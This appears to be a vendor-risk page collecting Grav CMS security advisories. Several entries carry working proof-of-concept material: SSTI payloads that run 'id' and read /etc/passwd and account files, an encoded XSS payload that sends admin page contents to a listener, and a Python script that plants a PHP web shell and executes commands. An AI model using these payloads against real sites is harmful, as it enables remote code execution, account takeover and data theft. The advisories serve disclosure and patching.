Where
-Infinity
0

Vendor Risk Score

See how getgrav compares to other vendors in security performance

View Risk Score →
Severity
10
Code Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.

Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed. js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=uniqueformid]").value;

const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][bodyclasses]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleabledata[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][orderby]", ""); params.append("data[header][ordermanual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("postentriessave", "edit"); params.append("form-name", "flex-pages"); params.append("uniqueformid", id); params.append("admin-nonce", nonce);

await fetch("http://127.0.0.1:8000/admin/pages/typography", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded", }, body: params, });

window.open("http://127.0.0.1:8000/admin/pages/poc/:preview"); })();

Execution Result - Payload: {{['id']|map('system')|join}} sh uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) - Payload: {{['cat /etc/passwd']|map('system')|join}} sh # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody::-2:-2:Unprivileged User:/var/empty:/usr/bin/false root::0:0:System Administrator:/var/root:/bin/sh daemon::1:1:System Services:/var/root:/usr/bin/false uucp::4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated::13:13:Task Gate Daemon:/var/empty:/usr/bin/false networkd::24:24:Network Services:/var/networkd:/usr/bin/false installassistant::25:25:Install Assistant:/var/empty:/usr/bin/false lp::26:26:Printing Services:/var/spool/cups:/usr/bin/false postfix::27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false scsd::31:31:Service Configuration Service:/var/empty:/usr/bin/false ces::32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false appstore::33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false mcxalr::54:54:MCX AppLaunch:/var/empty:/usr/bin/false appleevents::55:55:AppleEvents Daemon:/var/empty:/usr/bin/false geod::56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false devdocs::59:59:Developer Documentation:/var/empty:/usr/bin/false sandbox::60:60:Seatbelt:/var/empty:/usr/bin/false mdnsresponder::65:65:mDNSResponder:/var/empty:/usr/bin/false ard::67:67:Apple Remote Desktop:/var/empty:/usr/bin/false www::70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false eppc::71:71:Apple Events User:/var/empty:/usr/bin/false cvs::72:72:CVS Server:/var/empty:/usr/bin/false svn::73:73:SVN Server:/var/empty:/usr/bin/false mysql::74:74:MySQL Server:/var/empty:/usr/bin/false sshd::75:75:sshd Privilege separation:/var/empty:/usr/bin/false qtss::76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false cyrus::77:6:Cyrus Administrator:/var/imap:/usr/bin/false mailman::78:78:Mailman List Server:/var/empty:/usr/bin/false appserver::79:79:Application Server:/var/empty:/usr/bin/false clamav::82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false amavisd::83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false jabber::84:84:Jabber XMPP Server:/var/empty:/usr/bin/false appowner::87:87:Application Owner:/var/empty:/usr/bin/false windowserver::88:88:WindowServer:/var/empty:/usr/bin/false spotlight::89:89:Spotlight:/var/empty:/usr/bin/false tokend::91:91:Token Daemon:/var/empty:/usr/bin/false securityagent::92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false calendar::93:93:Calendar:/var/empty:/usr/bin/false teamsserver::94:94:TeamsServer:/var/teamsserver:/usr/bin/false updatesharing::95:-2:Update Sharing:/var/empty:/usr/bin/false installer::96:-2:Installer:/var/empty:/usr/bin/false atsserver::97:97:ATS Server:/var/empty:/usr/bin/false ftp::98:-2:FTP Daemon:/var/empty:/usr/bin/false unknown::99:99:Unknown User:/var/empty:/usr/bin/false softwareupdate::200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false coreaudiod::202:202:Core Audio Daemon:/var/empty:/usr/bin/false screensaver::203:203:Screensaver:/var/empty:/usr/bin/false locationd::205:205:Location Daemon:/var/db/locationd:/usr/bin/false trustevaluationagent::208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false timezone::210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false lda::211:211:Local Delivery Agent:/var/empty:/usr/bin/false cvmsroot::212:212:CVMS Root:/var/empty:/usr/bin/false usbmuxd::213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false dovecot::214:6:Dovecot Administrator:/var/empty:/usr/bin/false dpaudio::215:215:DP Audio:/var/empty:/usr/bin/false postgres::216:216:PostgreSQL Server:/var/empty:/usr/bin/false krbtgt::217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false kadminadmin::218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false kadminchangepw::219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false devicemgr::220:220:Device Management Server:/var/empty:/usr/bin/false webauthserver::221:221:Web Auth Server:/var/empty:/usr/bin/false netbios::222:222:NetBIOS:/var/empty:/usr/bin/false warmd::224:224:Warm Daemon:/var/empty:/usr/bin/false dovenull::227:227:Dovecot Authentication:/var/empty:/usr/bin/false netstatistics::228:228:Network Statistics Daemon:/var/empty:/usr/bin/false avbdeviced::229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false krbkrbtgt::230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false krbkadmin::231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false krbchangepw::232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false krbkerberos::233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false krbanonymous::234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false assetcache::235:235:Asset Cache Service:/var/empty:/usr/bin/false coremediaiod::236:236:Core Media IO Daemon:/var/empty:/usr/bin/false launchservicesd::239:239:launchservicesd:/var/empty:/usr/bin/false iconservices::240:240:IconServices:/var/empty:/usr/bin/false distnote::241:241:DistNote:/var/empty:/usr/bin/false nsurlsessiond::242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false displaypolicyd::244:244:Display Policy Daemon:/var/empty:/usr/bin/false astris::245:245:Astris Services:/var/db/astris:/usr/bin/false krbfast::246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false gamecontrollerd::247:247:Game Controller Daemon:/var/empty:/usr/bin/false mbsetupuser::248:248:Setup User:/var/setup:/bin/bash ondemand::249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false xserverdocs::251:251:macOS Server Documents Service:/var/empty:/usr/bin/false wwwproxy::252:252:WWW Proxy:/var/empty:/usr/bin/false mobileasset::253:253:MobileAsset User:/var/ma:/usr/bin/false findmydevice::254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false datadetectors::257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false captiveagent::258:258:captiveagent:/var/empty:/usr/bin/false ctkd::259:259:ctkd Account:/var/empty:/usr/bin/false applepay::260:260:applepay Account:/var/db/applepay:/usr/bin/false hidd::261:261:HID Service User:/var/db/hidd:/usr/bin/false cmiodalassistants::262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false analyticsd::263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false fpsd::265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false timed::266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false nearbyd::268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false reportmemoryexception::269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false driverkit::270:270:DriverKit:/var/empty:/usr/bin/false diskimagesiod::271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false logd::272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false appinstalld::273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false installcoordinationd::274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false demod::275:275:Demo Daemon:/var/empty:/usr/bin/false rmd::277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false accessoryupdater::278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false knowledgegraphd::279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false coreml::280:280:CoreML Services:/var/db/coreml:/usr/bin/false sntpd::281:281:SNTP Server Daemon:/var/empty:/usr/bin/false trustd::282:282:trustd:/var/empty:/usr/bin/false mmaintenanced::283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false darwindaemon::284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false notificationproxy::285:285:Notification Proxy:/var/empty:/usr/bin/false avphidbridge::288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false biome::289:289:Biome:/var/db/biome:/usr/bin/false backgroundassets::291:291:Background Assets Service:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false

PoC Video - PoC Video

Impact Remote Command Execution (RCE) is possible.

Occurrences - https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174

References - PortSwigger: Server-side template injection - HackTricks: SSTI (Server Side Template Injection)

1 / 2
First published (updated )
Severity
9.9
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Summary A low privilege user account with page edit privilege can read any server files using Twig Syntax. This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

Proof Of Concept {{ readfile('/var/www/html/grav/user/accounts/riri.yaml') }}

Use the above Twig template syntax in a page and observe that the administrator riri's authentication details are exposed accessible by any unauthenticated user.

!file-read-2-ATO

As an additional proof of concept for reading system files, observe the /etc/passwd file read using the following Twig syntax: {{ readfile('/etc/passwd') }}

!file-read-etc-passwd

Impact This can allow a low privileged user to perform a full account takeover of other registered users including Adminsitrators. This can also allow an adversary to read any file in the web server.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cross Site Scripting vulnerability in grav v.1.7.48 and before allows an attacker to execute arbitrary code via a crafted script to the form fields

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

GravCMS 1.10.7 contains an unauthenticated vulnerability that allows remote attackers to write arbitrary YAML configuration and execute PHP code through the scheduler endpoint. Attackers can exploit the admin-nonce parameter to inject base64-encoded payloads and create malicious custom jobs with system command execution.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user. This vulnerability is fixed in version 1.10.8. Blocking access to the /admin path from untrusted sources can be applied as a workaround.

First published (updated )
Severity
9.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.

Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.

PoC

- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image

- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}

- Change the field and forward it: !image

Request goes through and changes have been made to the form. !image

Impact

- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...

Fix recommendation

- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.

1 / 2
Source: GitHub
First published (updated )

gravSSRF

Risk 66
Severity
9.1
SSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
Code Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Code Injection in GitHub repository getgrav/grav prior to 1.7.34.

First published (updated )
Severity
8.9
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H

Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).

Details Affected endpoint: admin/pages/<page> Affected code: system/src/Grav/Common/Security.php

php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !isstring($string) || empty($string)) { return null; }

if (null === $options) { $options = static::getXssDefaults(); }

$enabledrules = (array)($options['enabledrules'] ?? null); $dangeroustags = (array)($options['dangeroustags'] ?? null); if (!$dangeroustags) { $enabledrules['dangeroustags'] = false; } $invalidprotocols = (array)($options['invalidprotocols'] ?? null); if (!$invalidprotocols) { $enabledrules['invalidprotocols'] = false; } $enabledrules = arrayfilter($enabledrules, static function ($val) { return !empty($val); }); if (!$enabledrules) { return null; }

// Keep a copy of the original string before cleaning up $orig = $string;

// URL decode $string = urldecode($string);

// Convert Hexadecimals $string = (string)pregreplacecallback('!(&#|\\\)xX;?!u', static function ($m) { return chr(hexdec($m[2])); }, $string);

// Clean up entities $string = pregreplace('!(&#[0-9]+);?!u', '$1;', $string);

// Decode entities $string = htmlentitydecode($string, ENTNOQUOTES | ENTHTML5, 'UTF-8');

// Strip whitespace characters $string = pregreplace('!\s!u', ' ', $string); $stripped = pregreplace('!\s!u', '', $string);

// Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',

// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalidprotocols' => '#(' . implode('|', arraymap('pregquote', $invalidprotocols, ['#'])) . ')(:|\&\#58)\S.?#iUu',

// Match -moz-bindings 'mozbinding' => '#-moz-binding[a-z\x00-\x20]:#u',

// Match style attributes 'htmlinlinestyles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>](url\:|x\:expression).)>?#iUu',

// Match potentially dangerous tags 'dangeroustags' => '#</(' . implode('|', arraymap('pregquote', $dangeroustags, ['#'])) . ')[^>]>?#ui' ];

// Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabledrules[$name])) { if (pregmatch($regex, $string) || pregmatch($regex, $stripped) || pregmatch($regex, $orig)) { return $name; } } }

return null; }

Specifically the line:

php 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',

assumes that the onevents will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:

<img src=x onload=alert('1')>

This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML.

It would be better to use an HTMLPurifier. PoC Grav Core + Admin Plugin Grav Version: v1.7.49.5 - Admin v1.10.49.1

1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages. !User Perms

2. Login as the low-privileged user and browse to pages: !Pages

3. Create a post with the following content: <svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>

The payload base64 is decoded to:

javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();

whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.

4. Save !Post Created

5. Start a ncat listener on port 8001.

bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658.

6. Now as a Super Admin visit the / of Grav http://localhost/grav-admin/ for me: !Visiting Grav

7. We get a response with the admin-nonce and the entire system information:

┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658. POST /grav-log HTTP/1.1 Host: 127.0.0.1:8001 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Configuration: Info | Grav</title> <meta name="description" content=""> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png">

<script type="text/javascript"> window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { currenturl: '/grav-admin/admin/config/info', baseurlrelative: '/grav-admin/admin', baseurlsimple: '/grav-admin', route: 'info', paramsep: ':', enableautoupdatescheck: '1', admintimeout: '1800', adminnonce: '1265db72d897b4324cbe7d1781e66e3b', <SNIPPED>

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability exploitable by a low-privileged user, which leads to exfiltration of the admin session context, including the adminnonce. This nonce can be abused to bypass CSRF protections and authenticate further requests to sensitive admin endpoints. Given Grav’s support for scheduled tasks and extensible plugin architecture, this can be escalated to Remote Code Execution (RCE) under favorable conditions.

Affected Component: Grav Core + Admin Plugin (v1.7.49.5 / v1.10.49.1) Impact: Full system compromise via RCE chain originating from low-privilege XSS.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Overall CVSS Score: 9.0 High Impact

---

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2. Two changes in tandem:

1. Regex bypass (detection layer) — the onevents regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.

2. Missing dangerous tags — svg, math, option, and select have been added to default security.xssdangeroustags in system/config/security.yaml. svg and math allow inline scripting through their XML namespace and event-handler surface; option/select are the tags attackers use to break out of the admin's select-template context before dropping the payload.

Combined with the tightened onevents regex, the PoC <svg>…<script>…</script></svg> (and the GHSA-c2q3 </option></select><img src=x onerror=alert(1)> variant) now trip at least one detector.

Files: - system/config/security.yaml — dangerous-tags list extended. - system/src/Grav/Common/Security.php — regex tightening. - tests/unit/Grav/Common/Security/DetectXssTest.php.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Malicious File Upload, XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary - Due to insufficient permission verification, user who can write a page use frontmatter feature. - Inadequate File Name Validation

Details 1. Insufficient Permission Verification

In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link

2. Inadequate File Name Validation

To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xsscheck: false attribute should be added. Disable XSS

--- title: Contact Form

form: name: contact xsscheck: false

fields: name: label: Name placeholder: Enter your name autocomplete: on type: text validate: required: true

buttons: submit: type: submit value: Submit

process: save: filename: thisisfilename.phar operation: add

---

Contact form

Some sample page content

Exploiting these two vulnerabilities allows the following scenario:

- A regular user account capable of creating pages is required. - An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account. - Accessing the Contact Form page, the attacker submits PHP code. - The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].

PoC

PoC Video Link

python PoC.py import requests from bs4 import BeautifulSoup

class Poc:

def init(self, cmd): self.sess = requests.Session()

########## INIT ################ self.USERNAME = "guest" self.PASSWORD = "Guest123!" self.PREFIXURL = "http://192.168.12.119:8888/grav" self.PAGENAME = "thisispocpage47" self.PHPFILENAME = "universe.phar" self.PAYLOAD = '<?php system($GET["cmd"]); ?>' self.cmd = cmd ########## END ################

self.sess.get(self.PREFIXURL) self.login() self.savepage() self.injectcommand() self.executecommand()

def getnonce(self, data, name): # Get login nonce value res = BeautifulSoup(data, "html.parser") return res.find("input", {"name" : name}).get("value")

def login(self): print("[] Try to Login") res = self.sess.get(self.PREFIXURL + "/admin")

loginnonce = self.getnonce(res.text, "login-nonce")

# Login logindata = { "data[username]" : self.USERNAME, "data[password]" : self.PASSWORD, "task" : "login", "login-nonce" : loginnonce } res = self.sess.post(self.PREFIXURL + "/admin", data=logindata)

# Check login if res.statuscode != 303: print("[!] username or password is wrong") exit() print("[] Success Login")

def savepage(self): print("[] Try to write page")

res = self.sess.get(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")

# Add page data pagedata = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGENAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGENAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbodyclasses%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Borderby%5D=&data%5Bheader%5D%5Bordermanual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&postentriessave=edit&form-name=flex-pages&uniqueformid={uniqueformid}&form-nonce={formnonce}&toggleabledata%5Bheader%5D%5Bpublished%5D=0&toggleabledata%5Bheader%5D%5Bdate%5D=0&toggleabledata%5Bheader%5D%5Bpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bunpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bmetadata%5D=0&toggleabledata%5Bheader%5D%5Bdateformat%5D=0&toggleabledata%5Bheader%5D%5Bmenu%5D=0&toggleabledata%5Bheader%5D%5Bslug%5D=0&toggleabledata%5Bheader%5D%5Bredirect%5D=0&toggleabledata%5Bheader%5D%5Bprocess%5D=0&toggleabledata%5Bheader%5D%5Btwigfirst%5D=0&toggleabledata%5Bheader%5D%5Bnevercachetwig%5D=0&toggleabledata%5Bheader%5D%5Bchildtype%5D=0&toggleabledata%5Bheader%5D%5Broutable%5D=0&toggleabledata%5Bheader%5D%5Bcacheenable%5D=0&toggleabledata%5Bheader%5D%5Bvisible%5D=0&toggleabledata%5Bheader%5D%5Bdebugger%5D=0&toggleabledata%5Bheader%5D%5Btemplate%5D=0&toggleabledata%5Bheader%5D%5Bappendurlextension%5D=0&toggleabledata%5Bheader%5D%5Bredirectdefaultroute%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleabledata%5Bheader%5D%5Badmin%5D%5Bchildrendisplayorder%5D=0&toggleabledata%5Bheader%5D%5Blogin%5D%5Bvisibilityrequiresaccess%5D=0" pagedata += f"&data%5Bjson%5D%5Bheader%5D%5Bform%5D=%7B%22xsscheck%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHPFILENAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D" res = self.sess.post(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add" , data = pagedata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

print("[] Success write page: " + self.PREFIXURL + f"/{self.PAGENAME}")

def injectcommand(self): print("[] Try to inject php code")

res = self.sess.get(self.PREFIXURL + f"/{self.PAGENAME}") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")

formdata = f"data%5Bname%5D={self.PAYLOAD}&form-name=contact-form&uniqueformid={uniqueformid}&form-nonce={formnonce}"

res = self.sess.post(self.PREFIXURL + f"/{self.PAGENAME}" , data = formdata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

print("[] Success inject php code")

def executecommand(self): res = self.sess.get(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}")

if res.statuscode == 404: print("[!] Fail to execute command or not save php file.") exit()

print("[] This is uploaded php file url.") print(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}") print(res.text)

if name == "main": Poc(cmd="id")

Impact

Remote Code Execution

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Path Traversal, Code Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.

Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2

Details Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method

public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings);

// Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? false; if (!isset($settings['destination']) && $self === false) { throw new RuntimeException($this->translate('PLUGINADMIN.DESTINATIONNOTSPECIFIED'), 400); }

